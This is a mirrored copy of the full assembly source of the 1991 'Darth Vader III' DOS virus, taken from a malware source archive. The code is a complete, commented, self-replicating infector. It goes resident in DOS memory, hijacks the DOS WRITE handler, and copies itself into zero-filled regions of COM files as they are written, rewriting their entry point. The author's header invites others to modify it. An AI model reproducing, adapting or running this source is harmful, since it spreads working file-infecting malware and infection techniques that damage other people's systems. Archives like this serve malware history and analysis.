mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
197 lines
6.1 KiB
NASM
197 lines
6.1 KiB
NASM
;*******************************************************************************
|
||
;* *
|
||
;* D A R T H V A D E R ]I[ *
|
||
;* *
|
||
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
|
||
;* All Rights Reserved *
|
||
;* *
|
||
;* This is the third release of Darth Vader virus. He also infect only *
|
||
;* those COM file, wich have area of 255 (or more) zeros. As you might *
|
||
;* see, virus' size is reduced. This increase possibility file to have *
|
||
;* enough zeros to hold virus. In several tests the percentage of *
|
||
;* infected file was tested, and it was bigger than in Darth Vader 2. *
|
||
;* This release support only DOS 2.X and later, but less than 5.X *
|
||
;* You may make any modifications in this source, BUT let me know *
|
||
;* what you have done (drop me a message at Virus eXchange BBS) *
|
||
;* *
|
||
;* Waleri Todorov *
|
||
;*******************************************************************************
|
||
|
||
|
||
org 0 ; Begin from offset 0
|
||
|
||
nop ; Dummy NOPs. Don't remove them
|
||
nop
|
||
nop
|
||
|
||
call NextLine ; Call next instruction
|
||
NextLine
|
||
pop bx ; To calculate it's own location
|
||
sub bx,6 ; Location stored in BX
|
||
mov [0FEh],ax ; Save AX for further usage
|
||
|
||
xor ax,ax ; Set DS to point in interrupt table
|
||
mov ds,ax ;
|
||
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
|
||
xor di,di ; ES:DI point to DOSSEG:0000
|
||
mov cx,1000h ; Will search 1000h bytes
|
||
call SearchZero ; Search Zeros in ES:DI
|
||
jc ReturnControl ; If CF==Yes -> no place and exit
|
||
mov cs:[bx+offset NewStart],di ; Save beginnig
|
||
|
||
xor si,si ; SI=0;
|
||
push es ; Set DS point to DOSSEG
|
||
pop ds
|
||
SearchTable
|
||
lodsw ; Load word from DS:SI
|
||
cmp ax,8B2Eh ; Check first 'magic' byte
|
||
je Found1 ; If match -> check next byte
|
||
NotHere
|
||
dec si ; Else go search from next byte
|
||
jmp short SearchTable
|
||
Found1
|
||
lodsb ; Load next byte
|
||
cmp al,9Fh ; If match with last 'magic' byte
|
||
je FoundTable ; fo to found table
|
||
dec si ; else go search from next byte
|
||
jmp short NotHere
|
||
FoundTable
|
||
lodsw ; Load table address to AX
|
||
xchg ax,bx ; Exchange AX <-> BX
|
||
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
|
||
xchg ax,bx ; Exchange AX <-> BX
|
||
mov cs:[bx+offset OldWrite],cx ; Save old offset
|
||
lea cx,[di+offset Handle] ; Load in CX new offset
|
||
xchg ax,bx ; Exchgange AX <-> BX
|
||
mov [bx+80h],cx ; Store new WRITE offset to table
|
||
xchg ax,bx ; Exchange AX <-> BX
|
||
|
||
push cs ; Set DS point to virus code
|
||
pop ds ;
|
||
mov cx,offset LastByte ; CX = Virus Size
|
||
mov si,bx ; SI=virus start offset
|
||
rep movsb ; ES:DI point to free area in DOS
|
||
; go in there
|
||
ReturnControl
|
||
push cs ; Set DS & ES point in host program
|
||
push cs
|
||
pop ds
|
||
pop es
|
||
mov di,100h ; DI point CS:100
|
||
lea si,[bx+offset First3] ; SI point old first instr
|
||
push di ; Save DI for dummy RETurn
|
||
movsw ; Move first 2 byte
|
||
movsb ; Move another one
|
||
mov ax,[0FEh] ; Restore AX (Remember?)
|
||
xor bx,bx ; Clear BX
|
||
ret ; Return control to host via dummy RETurn
|
||
|
||
; Here terminate virus installation in memory. After this moment
|
||
; virus is active and will infect any COM file bigger than the virus
|
||
; and having enough zeros
|
||
|
||
|
||
SearchZero
|
||
xor ax,ax ; Set AX to zero (gonna search zeros)
|
||
Again
|
||
inc di ; ES:DI++
|
||
push cx ; Save CX
|
||
push di ; Save DI
|
||
mov cx,offset LastByte ; CX = Virus Size
|
||
repe scasb ; Search until equal
|
||
pop di ; Restore DI
|
||
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
|
||
pop cx ; Else restore CX
|
||
loop Again ; And loop again until CX!=0
|
||
stc ; If CX==0
|
||
ret ; Set CF and return to caller (No place)
|
||
FoundPlace
|
||
pop cx ; Restore CX
|
||
clc ; Clear CF (ES:DI point to zero area)
|
||
ret ; Return to caller
|
||
|
||
; The followed procedure is new WRITE handle. It check does write buffer
|
||
; have enough zeros to hold virus. If so -> copy virus in zero area, change
|
||
; entry point and write file, else write file only
|
||
|
||
Handle
|
||
mov ss:[4],bp ; Save BP (BP used as index register)
|
||
push es ; Save important registers
|
||
push ax ; DS:DX are saved last, because
|
||
push bx ; they are used later in infection
|
||
push cx
|
||
push si
|
||
push di
|
||
push ds ;
|
||
push dx ;
|
||
|
||
call NextHandle ; Call NextHandle to calculate
|
||
OldWrite ; variable area offset
|
||
dw 0 ; Old WRITE handler
|
||
NewStart
|
||
dw 0 ; Virus offset in DOSSEG
|
||
First3
|
||
int 20h ; First 3 instruction of COM file
|
||
nop
|
||
|
||
NextHandle
|
||
pop bp ; Set SS:BP to point to variable area
|
||
|
||
cmp cx,offset LastByte+10h ; Check if write buffer
|
||
jb Do ; is big enough. If not -> exit
|
||
|
||
mov ax,1220h ; Get file handle (BX) table number
|
||
int 2Fh ; Via interrupt 2F (undocumented)
|
||
mov bl,es:[di] ; Load handle table number in BL
|
||
mov ax,1216h ; Get file handle table address
|
||
int 2Fh ; Via interrupt 2F (undocumented)
|
||
cmp es:[di+29h],'MO' ; Check if file is ?OM
|
||
jne Do ; If not -> exit
|
||
|
||
pop di ; Set ES:DI to point write buffer
|
||
pop es ;
|
||
push es ;
|
||
push di ;
|
||
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
|
||
mov [bp+4],ax ; and save it in First instruction
|
||
mov al,es:[di+2] ; Set AL to third byte from buffer
|
||
mov [bp+6],al ; and save it in First instruction
|
||
|
||
call SearchZero ; Search zeros area in buffer
|
||
jc Do ; If not found -> exit
|
||
|
||
mov bx,di ; Set BX to point zero area
|
||
|
||
push cs ; Set DS point to DOSSEG (Virus)
|
||
pop ds
|
||
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
|
||
mov cx,offset LastByte ; Set CX to virus size
|
||
rep movsb ; Move virus to buffer
|
||
pop di ; Set DI point to buffer (not zero area)
|
||
push di
|
||
mov al,0E9h ; Set AL to JMP opcode
|
||
sub bx,di ; Set BX to virus offset in file
|
||
stosb ; Store JMP to buffer
|
||
xchg ax,bx ; AX now have offset of virus in file
|
||
sub ax,3 ; Calculate JMP argument
|
||
stosw ; and store it in buffer
|
||
|
||
Do
|
||
pop dx ; Restore important registers
|
||
pop ds
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
pop es
|
||
|
||
push [bp] ; Put old WRITE offset in stack for RET
|
||
mov bp,ss:[4] ; Restore BP
|
||
|
||
ret ; Call DOS via dummy RETurn
|
||
|
||
db 'Darth Vader ' ; Virus sign
|
||
|
||
LastByte label byte ; Last byte of virus
|
||
|